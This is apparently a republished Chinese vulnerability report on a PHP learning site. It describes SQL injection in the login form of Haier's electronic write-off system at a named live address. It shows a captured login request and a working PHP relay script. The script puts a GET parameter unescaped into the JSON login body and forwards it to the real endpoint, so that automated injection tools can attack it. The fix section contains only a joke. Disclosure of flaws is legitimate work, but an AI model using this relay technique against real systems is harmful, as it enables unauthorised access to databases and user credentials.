来源:自学PHP网 时间:2015-04-17 10:15 作者: 阅读:次
[导读] 系统地址:http: evs haier net easp uiloader login html海尔电子核销系统在登陆的时候,用单引号登陆,就报错了本来以为会很简单,用一般的post注入就搞定。但是我还是太傻太天真,抓到包的...
系统地址:http://evs.haier.net/easp/uiloader/login.html海尔电子核销系统
在登陆的时候,用单引号登陆,就报错了
本来以为会很简单,用一般的post注入就搞定。
但是我还是太傻太天真,抓到包的那一刻我眼泪掉下来。
POST http://evs.haier.net/easp/uiloader/$/ssb/uiloader/ssoLoginMgt/login.ssm HTTP/1.1 Accept: */* Referer: http://evs.haier.net/easp/uiloader/login.html Accept-Language: zh-cn Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: evs.haier.net Content-Length: 40 Proxy-Connection: Keep-Alive Pragma: no-cache Cookie: JSESSIONID=2kpTSFLPRmJ2Fn1CYrJlD1GJjhmpVG8knMRSyMzkLRDpFM40t6L2!-881110793; cctUserId=admin; cctLocale=zh [{"userId":"admin","password":"123456"}]
传递出去的参数是这样的啊,[{"userId":"admin","password":"123456"}],SQLmap和其他的工具根本就不认啊。但是这明显就是注入啊?
只能无奈,写一个中转php文件,大爱小学生。
<?php if (empty($_GET['id'])){ echo "vip.php?id=z7ysbsbsb"; }else{ $id=$_GET['id']; $post_data="[{\"userId\":\"$id\",\"password\":\"123456\"}]"; $url='http://evs.haier.net/easp/uiloader/$/ssb/uiloader/ssoLoginMgt/login.ssm'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); ob_start(); curl_exec($ch); $result = ob_get_contents() ; ob_end_clean(); echo $result; } ?>
这里get的ID来替换掉post里面的userid参数,来实现注入。
本地访问下看看。
恩,看样子是问题不大了。
这里由于是中转注射了,本地是win的环境和php,可能检测出来跟服务器有差别。
但是呢,数据是跑不掉的。
over。
修复方案:
注入啊注入,老是在登陆框~伤了心。 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com